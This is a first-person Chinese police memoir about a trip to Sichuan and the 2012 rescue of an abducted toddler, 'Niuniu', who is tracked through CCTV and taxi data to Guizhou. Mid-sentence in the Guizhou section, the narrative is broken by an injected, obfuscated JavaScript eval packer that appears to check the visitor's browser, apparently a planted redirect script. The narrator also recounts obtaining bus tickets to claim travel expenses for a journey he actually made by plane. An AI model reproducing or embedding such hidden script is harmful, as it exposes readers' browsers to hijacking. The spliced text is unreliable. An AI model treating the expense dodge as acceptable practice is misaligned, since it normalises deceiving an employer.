汇报领导后，领导要求我们继续审查，加大力度，利用好办案时间，于是晚上我们一路讯问到了凌晨2时许，一天下来，我们实在非常疲劳了。当时所里办公室里，有一个室内的高尔夫球推洞器械，我们每隔一段时间，就去玩一小会，就这样，再坚持了一会。最后王某也撑不住了，我们没打算放人，要用足刑事传唤的法律时间，二十四小时，认真审查一下。最后我们决定休息一下，天亮以后继续。 由于没有临时羁押场所，派出所所有的人都下班回家了，留下一个辅警配合我们，所里确实事情很少，有事情就打电话叫人过来就行。辅警安排我们在所里值班室休息，然后就离开了。所里值班室，有两张铁制高低床，我们将王某靠在一张床上，然后就在那里睡了几个小时。 天亮后，我们继续讯问王某，上午9时，终于形成笔录，将笔录形成传回单位。单位领导经过协调，认为当事人王某的行为，未涉嫌犯罪，决定不予处理。但是可以继续侦查。 不管是否对王某采取措施，林某是要先带回晋江的。为了防止放生意外，我们决定采取一个大胆的方案，由老庄，林某父亲，林某三人先租车去成都双流机场，搭乘航班返回。我和小杨继续盯着王某，在林某上飞机前，我们可以控制住王某，断绝两人联系，这样，林某上飞机了，我们再放人然后返回。跟派出所长说明情况后，派出所长非常支持我们的工作，热情的帮我们叫来一辆私人的租车，谈好价钱后，他们启程去双流机场。我向领导汇报完工作后，和小杨一起在派出所守着王某，第一就是通过聊天等方式看看能否有所有突破，第二就是如果没有突破，采取这种方式合法的限制王某的活动直到傍晚，确保林某能安心的跟随老庄飞回福建，她并不清楚我们能扣押王某多久，或者是关押他多久。 18时许，老庄来电称，发生意外，林某过安检后，在候机的时候，借着去厕所的机会，人躲不见了，请求我们协助，让当地公安一起找人。原本计划他们登机后，去趟剑门关看看。但是计划总是赶不上变化，无奈我和小杨，立即将王某释放，吓唬了一下他以后。我们告别派出所长，感谢其配合，然后驾车往成都方向赶去。顾不上连日的疲劳，驾车直接上了高速。21时许，又接到来电，说人已经找到了，现在上飞机了。我这才松了一口气，在最近的一个服务区，将车停下来，就躺在车内睡觉。 睡到了一个多小时后，我这才恢复了一点精神，继续开车回成都。路过青城山的时候，看到告诉上有一个标语，我们就鬼使神差的下高速，在青城山住下。第二天，我们吃完早餐，看到老庄发来的信息，人已经安全抵达晋江，林某已经安然无恙的送回了。 我松了一口气，决定休整一下再回去。按照当时的差旅费标准，我们从成都回去，只能报销路上交通费用，铁路公路都可以，到那时报销不了机票。从成都到晋江，选择铁路路上要走两天两夜，大巴车则更久。为了能够休息好，我放弃了走陆路，定了两天后成都飞厦门的机票。同时我找朋友帮我找了两张成都返回的长途汽车票，用于报销。机票和汽车票的金额差，由我自己私人承担。同时报告领导，我们搭乘汽车返回的日程。通过自己掏腰包的方式，腾出了两天休息的时间，安排妥当后，我们就去青城山玩了一下，在最高峰的道观还抽了一只签，签文早就忘了。紧接着又去了一趟都江堰，感受了一下中国劳动人民的智慧和力量。 晚上吃完晚饭后，我们开车返回成都市区。还车以后，我们住在武侯祠附近。发现那一带全是藏民。看到特警在各个路口都有一台警车，车上是三名全副武装的特警在执勤，有的则站在车外，以警车为掩体和依靠。晚上去了逛了一下成都的打卡胜地，宽窄巷子，全是餐厅和酒吧，失望之余，在外围买了一个纪念品打车回酒店。 出门第五天上午，美美的睡到自然醒，吃过早餐，收拾行李，打车去双流机场候机。 在机场我收到国权打来的电话，鞋都发生大案了，专门组建了专案组很多人忙着，到目前一点线索都没有，现在领导都在那里开会。叫我赶快回去。 在机场的候机楼，我在想发生了到底什么大案件呢。 第二天，我回到单位上班，林某已经在鞋都镇办理辞职。综合收集的各方面的资料，此案调查结束，撤案处理。至于林某，据说后来又从家里跑出去，跟王某生活在一起。之后我在也没有见过和听说他们的消息。 难以上青天的蜀道早已变成坦途，而我不知何时再有时间重访。 剑阁县那雄伟的大山，在我的记忆中有些模糊，只记得有一条很窄的路，我开车上坡下坡，旁边是深谷，悬崖峭壁，远处就是大山，如同在画中行走，近景动，远景不动。 大山就远远矗立在那里。 二、三分钟的真相 回到晋江第二天，我还没来得及休整，回到单位，匆匆整理手上即将到期的刑事案件卷宗，就指派了新的任务给我。原来我出差期间，辖区一个名两岁半的小名叫“牛牛”的小孩失踪了，小孩子的姑姑将小朋友失踪的信息通过微博发出去后，引起了广泛关注，包括公安部刑侦局打拐办负责人陈士渠、还有大量的热心公益的明星等纷纷转发支持，各级电视台还有网络及平面媒体，纷纷报道此事，一时间，我们成了媒体关注的中心。为了早日查清案情真相，专门组建专案组，开始调查此事。 我刚回到单位上班，就被要求加入专案组，全力展开调查。 本案主角：牛牛，姓曹，男，两周岁，爷爷是河南人，奶奶是重庆人。牛牛属于打工第三代，他爷爷早年到晋江务工时结识了同样是从重庆来务工的奶奶，两人组建家庭，后长期居住在晋江，育有一男一女，生活简单而充实。牛牛的姑姑大学毕业后，留在河南当地工作。牛牛的爸爸跟着牛牛爷爷奶奶一起也在晋江生活，并且结婚生了“牛牛”，爷爷奶奶在晋江当地以卖菜为生，就住在菜市场边上的出租房内。因为牛牛爸爸妈妈在工厂务工，平时没有时间，跟大部分人选择的一样，由爷爷奶奶平时负责照看牛牛。 据牛牛奶奶讲述，牛牛失踪当天，跟往常一样，牛牛奶奶在卖菜，牛牛则在不远处跟一群小朋友在玩耍。上午十时许，平时这个点，牛牛会自己到菜摊上找奶奶要吃要喝的，但是牛牛却一直没有出现。牛牛奶奶就就起身去寻找，但是一直没有找到，到处询问周边的人，都说没有看到牛牛。牛牛奶奶一下子就慌了，打电话喊来牛牛爸爸妈妈爷爷还有老乡一起四处寻找，都没能找到。经人提醒选择了报警。 晋江地处闽南地区，因经济发达，加上当地人思想较为传统，有买男童回来养的风俗，多年以来都是拐卖儿童流入地，近几年没有听说说有被拐的案例。案情专案组分为三组，一组入户访查，一组调看视频，一组在周边水域寻找。因为当地水系比较多，失踪地点旁边几十米就有一条小河，但是长期被污染，飘满垃圾，非常的脏，曾有小孩落进河中未被及时发现，导致溺水身亡的先例，但是经过排查，水中没有任何发现。 这组还有一项工作就是排查小牛牛亲属的社会关系，是否为仇家所谓，仔细排查了牛牛爸爸妈妈爷爷奶奶的社会关系，从感情关系入手，主要调查有否另有隐情，经过仔细排查，没有发现可疑情况。 剩下的就是走访和视频，我主要负责视频的工作。 2012年，视频监控已经兴起，小牛牛失踪的地点，涵埭村，也安装了大量的摄像头，几乎每一条道路都有安装。我要做的工作就是在视频中找到可能的线索。我回来之前，专案组已经将中心现场的视频看过一遍，没有发现异常，唯一的就是在菜市场一个转动的球机里看到疑似牛牛正在玩耍的身影。为什么这么说，当时的视频监控，使用的是模拟信号，录像比较模糊，不清晰，如果不是熟悉的人，基本上是认不出来是谁的。 我们在涵埭村的警务室，将视频看了几遍，都没有收获，为了确保视频资料不丢失不被覆盖，我们将案发前后所有的视频监控拷了回来，存在移动硬盘内，再拷到电脑上仔细进行回看分析。可惜的是，我们在整个涵埭村二十余个摄像头内，都没有发现牛牛的踪迹，实在让人匪夷。 七天过去了，三个组的工作均毫无进展，涵埭菜市场并不大，周围几乎被我们翻过来一遍，我们是不是遗漏了什么？由于牛牛的意外失踪，媒体的报道，不明真相的群众在传播各种谣言，有说有人吃小孩内脏的，有专门拐卖小孩的，一下子我们压力变得非常大，宣传部门一方面要辟谣，一方面需要我们有所突破，但是我们这个案件真相都没有查清楚。 这是一项很严肃必须慎重的工作，本着细致的原则，所有的工作不得不重新来过。现场访查组，在菜市场道路出口的一户人家的问到一个很重要的线索，一名老阿母，说一名穿红色上衣的男子，骑着一辆摩托车，上面坐了一个小孩，小孩一直在哭，不知道是不是那个丢了的小孩。 中心现场视频录像，牛牛最后一次出现的画面中，同时出现过一名穿橘红色上衣的男子，在现场逗留，牛牛失踪后，那名男子也不见了，于是这名男子变成头号嫌疑人。 根据那名老阿母反映，嫌疑人是骑着一辆黑色太子摩托车。刚好那个路口有一个摄像头，正好没有死角，能把整个路面情况拍清楚。我立即回去翻找视频监控，又仔细看了一遍，按照时间段，来往的红色上衣男子，没有骑男式黑太子摩托车的。仅有一名穿橘红色上衣的男子骑着一辆银灰色的电动车经过，那名男子的电动车后座上还坐了一名男孩，目测男孩年龄至少七八岁。经过家属辨认，确认不是失踪的牛牛。 感觉这是离真相最近的一条线索，就这么排除了。但是那名穿橘红色上衣的男子，身份嫌疑不能排除，现场环境复杂，有很多条小巷进出菜市场，是没有监控的，骑电动车的那名男子，不一定就是中心现场出现的那名男子。诡异的是，我们并没有找到电动车的男子过来的视频录像。 时间一天天过去，可以做的工作越来越少，专案组人员开始撤回，回到原岗位继续各自的工作。案件由我和大队的老杨来具体做后续的工作，他负责现场，我继续看监控。但是已经是跟其他案件一起做了，我还得挤时间侦查和办理其他的案件。 我还抽空跟着现案组还去抓了一伙经营已久的两抢团伙，经过两天两夜，完成抓捕、审讯、辨认现场送羁押，已经累得不行。那天我准备回家洗澡换套衣服，刚一办公室，在走廊里，牛牛的奶奶和姑姑出现了，中队长告诉牛牛的奶奶，这个案件，暂时由我来继续调查，牛牛奶奶眼眶内全是泪水，眼神全是期盼，能想的办法她已经都做了，现在她把所有的希望都寄托在我们身上了，她几乎下跪求我，辛亏被中队长一把扶起，并安慰她说，我是最好的侦查员，我会尽全力办好的，有什么消息会第一时间通知她。然后还说了很多安慰的话。 此时，离牛牛失踪已经过去半个月了，我们都明白最佳的黄金期已经过了。 回想牛牛家人的眼神，决不能辜负群众给予的厚望，我是他们最后的希望，使命感油然而生，这种使命感促使我强打起精神，再次投入到案件侦破，晚上又回到办公室，整理完其他的卷宗后。已经是夜深人静，我找来所有的视频录像，开始一个摄像头一个摄像头的回放录像，一帧一帧画面回放。一个接一个的排除。 期间，老杨带队去金井调查另一个儿童失踪案，年龄与牛牛相仿，如果是案件，那么有可能是同一伙人所为，专组案民警全部都扑过去了，剩下我一个人在继续看录像。过了两天，老杨传来消息，金井失踪儿童已经找到，是意外进入工厂仓库被布料压倒窒息死亡。本来指望的线索就消失了。 现在只能继续看监控了。 每天晚上当我忙完手头上的事，四周都安静的时候，我就打开电脑开始回放录像。还是那名橘红色上衣的男子，他驾驶那辆电动车从我眼前经过，看了多天视频，目前穿橘红色上衣只有他一人。我依然一帧一帧的回放着画面，在电动车即将驶出录像画面的时候，突然我看到一根头发丝大小的影子伸出电动车，连续回放了多次，确定就是从电动车的前面伸出来的，只有几帧的画面有。 这是重大发现，我抑制不住内心的激动，在办公室里怕打着桌子。沉下心，跟着电动车离开的方向，去寻找监控视频录像。之前都是看尾部的录像画面，终于，在涵埭村与洋埭村交汇处一处路口的视频中，看到了电动车前部的画面，摄像头刚好那天被人动了，角度朝下，拍到了电动车前面的画面，穿橘红色的衣服男子电动车除了后面坐了一名孩子以外，前面有一个小孩，只有不到两秒的画面，画面中电动车踏板前方是有一个白色的圆形，可以判断就就是一名小孩子，我再也抑制不住内心的激动，在办公室里大喊大叫“找到了找到了”。 煎熬了两个多星期，终于找到了疑似牛牛的画面，直觉告诉我，这就是牛牛。已经是凌晨4点多，我完全忘了时间，打电话给中队长，给老杨把他们吵醒。第二天，我们原专案组部分民警放下手头上的业务，开始全力追踪视频录像，经过持续追踪，发现了更多的录像资料，电动车进入洋埭村后，我们赶去洋埭村沿途调取视频，发现了更多了视频资料，在洋埭村一个路口，在一个路边店铺里的监控中，橘红色上衣的嫌疑人放弃电动车，抱着小孩，后面跟着大一点小孩，沿陈泉路徒步向泉州方向走。这个监控画面比较清晰，通过辨认，被抱着的就是失踪的“牛牛”。此时离牛牛失踪已经过去了近二十天。 嫌疑人拦了一辆摩的，上了车，奇怪的是大一点的小孩坐在两轮摩托车的最后，完全不怕摔下来，更加肯定这是嫌疑人。摩托车一直往泉州方向开，在晋江大桥的卡口视频中，我们找到了一辆摩托车正面照片，下载打印后，由一组人去查找核实身份，问清楚嫌疑人去哪里了。我则继续追踪视频，以电动车为线索，找来的视频，通过扩大范围，发现电动车和小孩是另一名穿着蓝色上衣的男子从洋埭村方向，骑到涵埭菜市场的，嫌疑人从一名变成了两名，我们甚至怀疑，那名大一点的小孩也是被拐的，但是核查了报警记录，没有发现发现有报警。 鞋都洋埭村、涵埭村有很多小路，加上时间过去很久，很多录像已经没有了，已经无法确认，这辆电动车从哪里过来了。唯一可以确认的是，牛牛是被人抱走的，嫌疑人有两名，一名橘红色上衣，一名蓝色上衣。 经过两天排查，摩的司机被找到，经过询问，摩的司机反映，当天他们是到了森林公园门口就下车了。橘红色上衣的嫌疑人操云贵一带口音，比较凶，有一只眼睛眼珠斜视。与此同时，开始视频追踪那辆两轮摩的，最后在晋江地区区的森林公园门口监控视频中也发现了摩的司机，当时摩的司机出现往泉州森林公园大门口开去，进去的时候，四个人，很快就出来，出来的时候，只剩摩的司机了。可以判断，嫌疑人抱着小孩到了森林公园。 森林公园位处晋江地区丰泽区最东侧，是一座山，后被改建成公园，那个时候正是夏季最热的时候，已近中午的森林公园，人员很少。嫌疑人去哪里干嘛？我猜想，是不是蓝色上衣的男子已经抵达，两人约定在这里汇合呢。 我感觉越靠近真相，时刻提醒自己必须越来越冷静。第一暂时还不能将消息告诉牛牛家人，未破案之前，任何信息的泄露都可能导致灾难性的后果。我每天依然忙忙碌碌的。而牛牛奶奶菜也不卖了，每天上午7点半，准时会到办公室，焦急的等待情况，每天我们安慰她以后，才能安心出门。 当时森林公园门口，安装一个球机，装在杆子上的，不知什么原因，监控顶着路口安装的，非常不专业，视频只能看到部分门口的画面，经过了解，当时这个监控录像是由交警支队装的，用于观察交通情况，我但是是去交警指挥中心调取的视频资料。 监控录像显示，摩的离开后，大约过了十几分钟，有一辆路过的出租车曾经在公园门口停了一分钟，但是画面中仅有车左后方一点点的画面，我们推断，嫌疑人是搭乘出租车离开的。于是我们又赶去交通局出租车管理中心，调取该时间段内全市出租车GPS数据，经过分析，那个时间段途径森林公园的出租车，有六辆，我们拿到车牌数据，开始一辆一辆排查。每辆车子当天的路线，还有视频卡口的数据，我都一一开始分析，在最后一辆出租车的经过刺桐大桥收费站的卡口照片里，找到了那名穿蓝色上衣的嫌疑人的照片，卡口照片比视频录像里清晰多了。 （原刺桐大桥收费站，取消收费后被拆除） 我们迅速找到白班的出租车司机，多次的联系，司机终于肯跟我们见面，我们给他看了坐在前排的男子卡口照片，司机仔细回想了一下，那名男子下车地点，就在华远中学。华远中学位于晋江池店，当时已经放暑假，他去中学干什么。 获得这个线索后，专案组立即派民警，赶到中学开展调查。民警反馈说，发现那名男子是学校食堂的厨子，我们得以获知身份信息，杨某，贵州松桃人，时年39岁，我们获取了他的手机号。 通过分析杨某的手机通讯数据，抱走牛牛的那名橘红色上衣男子的身份得以确认，杨某勇，同样也是贵州松桃人。我们将杨某勇的照片给摩的司机辨认，他确认杨某勇就是那天搭乘摩的的男子。 离真相只剩咫尺了。 经过进一步工作，得知杨某案发后第三天就已经到了贵州；而杨某勇则一直在晋江鞋都的海尾村活动。现在的关键是，要确认牛牛去了哪里。在未查明牛牛的下落前，我还不能打草惊蛇，为此我们悄悄跟踪杨某勇，在跟踪了一天后发现，杨某勇没有跟牛牛在一起。最后可能就是杨某将牛牛带去了贵州。 我和老杨、还有晋江地区局的小黄，临时组成工作组，前往贵州，秘密开展工作。 松桃苗族自治县，属贵州省铜仁市下辖。资料显示，松桃地处武陵山脉主峰梵净山东麓，地处黔、湘、渝两省一市结合部，与湖南的花垣县、凤凰县，重庆的酉阳县、秀山县接壤，区位适中，交通便利，素有“黔东门户”之称。古有“地接川楚，位遏三湘”之名。跟剑阁县一样，松桃县也是个面积非常大的县，全县面积3400平方公里，人口不多，山高林密。梵净山海拔超过2500米。除此之外，松桃县少数民族聚集区，民族的风俗习惯，加上独特的地理环境，曾是全国有名的涉枪县，制枪贩枪非常普遍。地处山区，解放前那里也曾是土匪横行的一个地方。民风彪悍，民间枪多，在松桃县公安局还专门组建了缉枪大队。去那里开展工作，我们是做好了充分的心理准备。 我们先飞到贵州的贵阳市，由于晚上到，在贵阳住一天。第二天一早，还是神州租车，租了一辆雪铁龙爱丽舍手动挡轿车。先驱车前往铜仁市开展工作。一路都是山路，高速公路都是坑坑洼洼，非常不好走，从贵阳开到铜仁用了六个小时，下高速后走了一段山路，才到铜仁市区。 我们下午才赶到铜仁市，到达铜仁市区的时候，天已经黑了，我先住下，第二天去铜仁市公安局，联系他们协助开展相关工作，赶到的时候，正好周末，铜仁市公安局仅剩值班人员，基本上没有人能正常开展工作，留下联系方式后。我们回酒店等候消息，在铜仁市等了一天后，铜仁市公安局给了我们一些数据，我们根据之前掌握的情况，嫌疑人杨某仍然在松桃县，位置在山区某乡。我们决定第二天直接去松桃县。 从铜仁市到松桃县，不到70公里的路，但是全是崎岖不平的山路，碰巧当时正在修路，一段一段的走。好在山势景色秀美，有山有水。湖南的凤凰县就在隔壁，铜仁出发去凤凰县更近。我们一路花了两个小时，开到了松桃县城。在松桃县公安局刑侦大队的协助下，让我们先住下，第二天联系当地派出所开展工作。于是我们就先住在当时最好的闽商大酒店里。 第二天一早，我们就出发到了离县城二十多公里外的嫌疑人所在的乡。当地派出所仅有三名民警加一名户籍辅警。所长，指导员和民警和辅警。没有独立的办公楼，跟乡镇府共用一栋楼。乡镇府分了四间房给派出所用。因为那个乡正好跟重庆交界，当时周克华案的协查已经发到这里，所长指导员都是随身携带武器上班。应对周克华流窜过来。 因为派出所警力有限，民警到了村里会引起注意，没有办法开展工作。再说当地是少数民族聚集区，有些风俗我们不清楚，如果冒失的前往，只怕打草惊蛇，还引来不必要的麻烦。经过考虑再三，派出所所长建议我们请乡镇府协助我们区开展摸排工作。我们就一起到了乡镇府，乡政府的工作人员非常热情，我们讲明情况后，乡政法书记，决定带队以开展计划生育工作为由下村去走访，同时帮我们打探一下情况。 因为我们开的车是贵阳牌照，我们决定到周边区熟悉一下地形和情况，于是也开车到目标乡村附近看看，从国道拐进县道、乡道都是窄窄的路，喝多依山都是在没有护栏的峡谷悬崖上的路，看上去及其险峻，当地的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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根据当地警方反映，犯罪嫌疑人杨某所在的村子，是侗族自然村，依山而建，人口较为密集，进出村子有一条可以通行车辆的泥土路，另外还有一条人走的小路在山后。乡镇府工作人员，查了一下当地的地图，标出了杨某居住的房子所处位置，离进村公路不到一百米。 综合现有掌握的情况，我们匆忙制定了一个抓捕和解救计划。由派出所两名民警（所长和指导员）跟我们还有乡政府工作人员组成突击组，进入村里，直接到杨某家中，将牛牛解救出来，并将犯罪嫌疑人杨某一并抓获，得手后，由五名民警将嫌疑人和小孩直接快速转移到村口，政府的人在后面殿后，做当地村民工作；请求县公安局特警大队增派人员做支援组，预备队，让他们提前埋伏在村口，两个目的：第一防止杨某外逃，第二随时支援我们，如果进村抓捕局势失控，特警作为预备冲进村子，打出一条路，让我们能够及时撤出。同时报告在晋江的在家领导，汇报情况后，决定同时动手，由晋江那边组织抓捕力量，守候在杨某勇附近，等我们得手后，同时对杨某勇实施抓捕，防止村民通风报信，导致杨某勇逃走。 计划很仓促，没有太多的考虑，兵贵神速，计划的要点是动作必须快，快进快出，决不能犹豫，如果失败就迅速撤离。做出这个计划，实属无奈，当地民风彪悍，大部分人法治观念淡薄，贸然进村抓人，极其容易引起不明真相的群众围堵抢人，且村民大多有大刀，土枪等物品，人员聚集人数也较多，一呼百应。之前当地就出现过类似情况，进村抓捕，被人围堵，几乎出动全县的警力，包括武警冲击，才将事态控制住。 计划做好后，立即着手开始实施，所长请示局领导后，调派了特警队十几名队员乘坐一辆民用牌照的五菱面包车，已经由县城出发往指定地域赶。我们这边由乡政府的派一辆面包车，然后我们租了一辆面包车，这些当地常见的面包车，很能装，一辆车通常能坐七八个成年人，在当地狭窄的山路疾驰如飞。五菱面包车，被誉为“中华神车”不是浪得虚名，在山区非常好用，经济实惠，能装，适应性特别好。我们所有参加人员上车出发，杨某居住的村子，离乡镇府大约七八公里远，一部分国道，一部分山路。司机对当地路况很熟悉，二十分钟不到，我们就抵达了指定的路口，与特警队汇合。从口进到村子，还有大约500米的土路。 时间已经到了下午16时许，对于进村抓捕来说，这是最合适的时间，很多村民都外出劳作未归，而大部分人都处在很疲劳懒散放松散状态。两辆面包车，一前一后，翻过进村的最后一道山梁时，因头天下雨，道路湿滑，我们不得不下车推车，才上到坡顶，我急得全身汗湿。既怕车子过不去，又怕被当地村民发现异常。有惊无险，翻过山梁，所有人上车，车子下坡，驶过一片稻田中间的土路后，一个少数民族特色的村寨就出现我们面前。 很多木制结构的瓦房，围绕着一个山包而建，中间留出进出的道路。部分路边已经铺上了水泥。犯罪嫌疑人的家在村口不不远，新盖的一个两层小楼旁。按照指引，我们一路跑步冲进村子，冲到犯罪嫌疑人杨某家中，牛牛正在地上爬，身上非常脏，小黄迅速上去抱起小孩，此时杨某已经不知去向，经询问，杨某去了别的村民家里，所长和指导员在半路上看到杨某，迅速将杨某控制，我冲过去，将手铐铐在了杨某的手上。此时已经惊动了部分村民，杨某的亲属正好有几个人在家里，就过来质问发生什么事，被乡政府工作人员挡着做思想工作，按照计划我们趁机离开。预案是上面包车离开，但是意外出现了，由于其中一辆车突然抛锚，没能启动，所以我们去抓人的时候，未能完成调头，堵在村口的路上，进出不得。来不及多犹豫，我们迅速弃车，抱着牛牛，押着嫌疑人，徒步小跑向山外撤离，我回头看了一眼，有几十个村民大多在观望，并没有追赶的动作，乡政府干部也一起撤离。 面包车司机都是本地人，且是还有一辆是租的车，希望村民不要为难他们。我们一行人开始快速穿过稻田中间道路，接着爬坡，跑到了进村的路口时，我的腿已经开始在发抖了，我跟老杨小黄三个人是轮流抱着牛牛向山外跑步前进。在路上，一开始牛牛看到嫌疑人杨某，还哭着喊爸爸，我们开玩笑说，这回差点是认贼作父了。后来我们一直抱着，牛牛觉得没有危险，或者苦累了，他就没再继续哭了。 我们快跑到路口时，那两辆面包车开了过来，原来是小故障，已经排除了，启动车子后，就迅速调头过来找我们，我们所有人迅速上车，没敢继续停留，车子直接开回了乡政府。在乡镇府门口，我们参与行动的人，拍了张合影纪念。 派出所没有办案区，我们就在派出所的办公室，对嫌疑人杨某开始了第一次的讯问，据杨某交代：杨某生有两个女儿，一直想要生个儿子，后来老婆做了结扎，没有办法再生。在老家如果没有生儿子，是很没有面子的一件事情，对不起祖先，会被人看不起，为此他多年都没有回老家。他一直特别羡慕有儿子的人。作为厨子，一次他去涵埭菜市场买菜，发现菜市场有很多小男孩，他非常羡慕，心想怎么这家人有这么多儿子，我去抱一个自己养也可以吧。于是他找来亲戚杨某勇，提出让杨某勇帮忙一起去抱一个小男孩回家养，约好事成之后，给两万现金，并且实现还给了定金。因为杨某身材瘦小，而杨某勇身材高大，力气也大，由杨某勇具体实施容易得手。杨某平时住在池店镇东山村里，那里离学校近。学校放暑假后，杨某就有时间，从池店镇到鞋都镇找到杨某勇，为了顺利实施计划，杨某让杨某勇带上儿子一起去，主要是让杨某勇的儿子陪抱来的小孩玩，这样小孩就不容易哭，比较容易得手。这就解释了，为什么会有一个大一点的男孩出现了。当天，杨某勇事先到了菜市场踩点，杨某骑着电动车带着杨某勇的儿子达到现场，由杨某勇实施，将小孩抱上电动车离开现场，两人约定在森林公园汇合，电动车是杨某的，说好事成之后送给杨某勇，杨某勇骑车出发，谁半路车子没电了，就将车放在路边一家工厂内，然后搭乘摩托车去了森林公园。两人在森林公园交接好以后，由杨某先回去收拾东西，买火车票，然后租了一辆车，过去森林公园，接上小孩，一起搭车前往厦门，从厦门坐火车到贵州，再转车回老家。在家里呆了一个多月。直到被我们抓获。 将犯罪嫌疑人手续办好以后，羁押在当地看守所，我们则把牛牛带回酒店，小牛牛离开亲人已经一个多月，没有人好好照顾，身上非常脏，被蚊虫叮咬的伤疤全身都是，三个大汉，做起了临时奶爸，回到酒店第一件事就是给他洗澡，然后用自己的衣服包裹他，因为很晚了，店铺都关门了。洗干净的牛牛，看上去很萌很可爱，他眼睛很大，不过眼神充满着无助。第二天一早我们就去购买新衣服，买了玩具，给他换了新衣服，带着他玩耍。那之后每天晚上跟我睡，而且非常没有安全感，半夜会啼哭，不过第一个晚上他就尿床，我被被尿醒的。 因为要办理各种交接手续，我们在当地又待了两天，然后开车去最近的湖南株洲转火车回福建。一路上照顾牛牛的重任就落在我的身上。他们则负责看守嫌疑人。 印象最深的是牛牛的饭量特别大，每顿要吃一碗半的米饭，而且几乎不用菜，特别会吃，吃饱了就自己到一边去玩，也不吵不闹。那几天，每天就黏在我身后，到哪里都要跟着，坐下来的时候还会拉着我的衣服。混熟了以后，他表现出男孩淘气的一面，天真活泼，有时候在老杨、小黄的唆使下，还逗我玩。 我们在湖南株洲神州网点还了车，交了几百元的异地还车费用。买到了株洲到厦门的火车。在火车上，小牛牛也是跟着我，走到哪里跟到哪里，一直拉着我的裤腿，不过，坐在火车上，有很多陌生人的时候，他会一脸严肃，对外界充满警惕。只有跟我们一起玩耍时，才会露出天真的笑容。 十八个小时后，我们抵达厦门，单位派了一台别克GL8过来接我们，上午10时，车到刑侦大队门口，在门口迎接我们的，除了小牛牛的家属和局领导大队领导，还有大批等候已久的媒体记者。晋江公安在新浪微博同步直播了，牛牛回到家人身边的过程。领导事先并没有告诉我们有记者，我当时都有些不知所措。 老杨抱着小牛牛下车的时候，我透过车窗，看到等候已久的牛牛奶奶，她眼中满是幸福的泪水。当牛牛回到家人怀抱的那一刻，总算是这一个多月来的努力没有白费，没有辜负人民对我的期望，有一种使命在肩的感觉。看到牛牛家人幸福的泪水，我也感觉自己很幸福，沉浸在幸福的氛围中。 由于此前本案被各大媒体关注了一个多月，成为了具有非常大社会影响力的案件，为了起到正面宣传的效果，当时宣传部门，召集了中央、地方以及网络媒体记者，召开了一个场面盛大新闻发布会。发布会的重头戏就是我们押着嫌疑人，带着千里解救回来的牛牛出现在发布会上，事先为了制作气氛和效果，只是通报当月的一些刑事案件还有治安形势，并且着重说牛牛被拐一案有重大进展，然后通知家属过来。给家属制造了一个惊喜，于是场面非常具有感染力，打动了很多人，我观察到有几个女记者也跟着掉眼泪。 我们将嫌疑人关押到大队的办案区，然后到大队一楼会议室参加发布会。发布会上由老杨为主介绍破案经过，然后是领导的发言和各种夸奖。而我整场没有说一句话，第一没有机会给我说话，第二没有任何准备，不知道说什么；第三我脑袋想着的是案件的后续工作还有哪些要做的，根本无心新闻发布会，那是领导们和宣传部门要关心的事情。发布会上，我全程微笑着看着大家，我发现到场的都很喜悦，我很开心看到他们真切的笑容。 发布会后，法医按照程序对小牛牛重新采集血样，以核对DNA，是否与父母一致，最后最后确认身份。还好经过比对，确实是他父母亲生的。最怕最后的鉴定结果出来，母亲没有问题，父亲不是亲生的，那场面就热闹了，有可能乐极生悲。法医曾跟我讲述过之前就有这样的案例。 老杨和小黄回家了。只有我还得继续我的工作，将嫌疑人杨某带回办案区，重新讯问笔录，补充所有羁押前需要做完的工作和相关手续，中队派了一名民警和两名辅警协助我。各项工作做完之后，我们将嫌疑人杨某送进看守所羁押。然后我才回家休息。到家已经是天黑时分了。 我原以为这事就这么过去了，这是我破获众多疑难案件中的一起，将来可以用于回忆，比如现在。又或者尘封在那里，我办过的案件那么多，抓过了那么多坏人。辛辛苦苦把人抓回来，把小孩解救回来，然后我继续苦逼的办理案件，走完所有的刑事诉讼程序。 第二天，我就到看守所，按照刑事诉讼法规定，送羁押场所后，必须在24小时内再次讯问嫌疑人杨某，再次确认案情。之后开始提审犯罪嫌疑人杨某勇，杨某勇如实供述了自己在犯罪嫌疑人杨某的怂恿和唆使下实施拐骗犯罪的整个过程。杨某勇跟杨某是亲戚，杨某多次向杨某勇说想要一个儿子，杨某说杨某勇有儿子，不能理解没有儿子的痛苦，希望杨某勇能帮忙。之后，杨某提出，在菜市场有很多小男孩，杨某要杨某勇一起去抱一个过来，刚开始，杨某勇是拒绝的，但是杨某一边安慰杨某勇，一边抛出事成之后给钱的条件，还要把自己骑的电动车相送。杨某勇便答应了。案发当天，杨某勇先搭乘摩的到菜市场，而后，杨某驾驶电动车，带上杨某勇的儿子，从海尾村也赶到了涵埭菜市场，两人汇合后，让杨某勇的儿子过去找牛牛玩，把牛牛引到一边，人少的地方，然后趁机抱走牛牛，由杨某勇骑电动车将两名孩子离开。与杨某相约在森林公园见面。 两人的口供基本一致，事实真相到此基本查清。杨某、杨某勇因涉嫌拐骗罪，依法刑事拘留，逮捕后并移送起诉。此案进入诉讼程序，告一段落。 后来发生了两件事情： 一是中央电视台第一套《今日说法》栏目组派记者专程过来采访，同时制作了一期节目； 记者来的那天我正在处理其他案件的手续，同时打报告准备将嫌疑人从看守所借出来，去辨认现场。当时是《今日说法》栏目组在局政工部门的带领下，到单位找到我，领导给我打电话，要我抽时间接受专题采访，整个采访过程用了四天。一天是，对我们几个参与的民警进行专访谈话。还有一天是，到现场去拍一些视频资料，同时对牛牛的爷爷奶奶进行采访，去现场采访路人；有一天时间是跟着我们押解嫌疑人去辨认现场，同时安排时间在办案区采访嫌疑人。还有一天时间补拍一些镜头。 我们去现场拍视频资料的时候，现场有群众都认出了我来，因为那段时间，我几乎天天泡在菜市场工作，群众都说我是找回牛牛的那个警察，都夸赞晋江的警察厉害。这些话语，听得我如痴如醉，有些飘飘然，金奖银奖不如老百姓的夸奖，原来群众真心实意的夸奖，是如此的美妙，我享受其中，这是我努力付出最好的回报。 